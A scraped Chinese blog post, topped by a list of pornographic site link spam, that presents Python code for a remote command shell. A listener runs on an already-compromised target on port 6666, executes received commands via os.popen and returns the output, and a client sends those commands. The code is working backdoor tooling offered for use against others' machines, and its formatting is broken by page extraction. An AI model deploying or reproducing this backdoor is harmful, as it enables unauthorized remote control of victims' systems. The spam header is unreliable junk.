黄色网页视频 I 影音先锋日日狠狠久久 I 秋霞午夜毛片 I 秋霞一二三区 I 国产成人片无码视频 I 国产 精品 自在自线 I av免费观看网站 I 日本精品久久久久中文字幕5 I 91看视频 I 看全色黄大色黄女片18 I 精品不卡一区 I 亚洲最新精品 I 欧美 激情 在线 I 人妻少妇精品久久 I 国产99视频精品免费专区 I 欧美影院 I 欧美精品在欧美一区二区少妇 I av大片网站 I 国产精品黄色片 I 888久久 I 狠狠干最新 I 看看黄色一级片 I 黄色精品久久 I 三级av在线 I 69色综合 I 国产日韩欧美91 I 亚洲精品偷拍 I 激情小说亚洲图片 I 久久国产视频精品 I 国产综合精品一区二区三区 I 色婷婷国产 I 最新成人av在线 I 国产私拍精品 I 日韩成人影音 I 日日夜夜天天综合

利用python模擬菜刀反彈shell繞過限制

系統(tǒng) 2100 0

有的時候我們在獲取到目標電腦時候如果對方電腦又python 編譯環(huán)境時可以利用python 反彈shell

主要用到python os庫和sokect庫

這里的服務端在目標機上運行

            
              from
            
             socket 
            
              import
            
             *

            
              from
            
             os 
            
              import
            
             *
            
              
s
            
            =socket(AF_INET,SOCK_STREAM)
            
              #
            
            
              IVP4 尋址  tcp協(xié)議
            
            
s.bind((
            
              ''
            
            ,6666))
            
              #
            
            
              補丁端口
            
            
s.listen(1)
            
              #
            
            
              開始監(jiān)聽一個隊列
            
            
              while
            
            
               True:
    sock,addr
            
            =s.accept()
            
              #
            
            
              返回兩次 第一次返回連接地址 二 端口號
            
            
              print
            
             (
            
              '
            
            
              客戶端:
            
            
              '
            
            
              ,addr)
    
            
            
              while
            
            
               True:
        cmd
            
            =sock.recv(1024)
            
              #
            
            
              緩存長度 接收傳遞過來
            
            
        cmdstr=
            
              cmd.decode()
        
            
            
              if
            
             cmdstr==
            
              '
            
            
              exit
            
            
              '
            
            
              :
            
            
            
              print
            
             (
            
              '
            
            
              客戶端:
            
            
              '
            
            ,addr,
            
              '
            
            
              關閉
            
            
              '
            
            
              )
            sock.close()
            
            
            
              break
            
            
              
        result
            
            =
            
              popen(cmdstr).read()
        sock.send(result.encode())
s.close()
            
          

本機運行

            
              from
            
             socket 
            
              import
            
             *

            
              from
            
             os 
            
              import
            
             *
            
              

c
            
            =socket(AF_INET,SOCK_STREAM)
            
              #
            
            
              IVP4 尋址  tcp協(xié)議
            
            
c.connect((
            
              '
            
            
              127.0.0.1
            
            
              '
            
            ,6666))
            
              #
            
            
              連接地址
            
            
              while
            
            
               True:
    cmd
            
            =input(
            
              "
            
            
              cmd:
            
            
              "
            
            
              )
    c.send(cmd.encode())
            
            
              #
            
            
              必須傳遞流
            
            
              if
            
             cmd==
            
              '
            
            
              exit
            
            
              '
            
            
              :
        c.close()
        
            
            
              break
            
            
              
    data
            
            =c.recv(1014
            
              )
    
            
            
              print
            
             (data.decode())
          

?


更多文章、技術交流、商務合作、聯(lián)系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯(lián)系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!??!

發(fā)表我的評論
最新評論 總共0條評論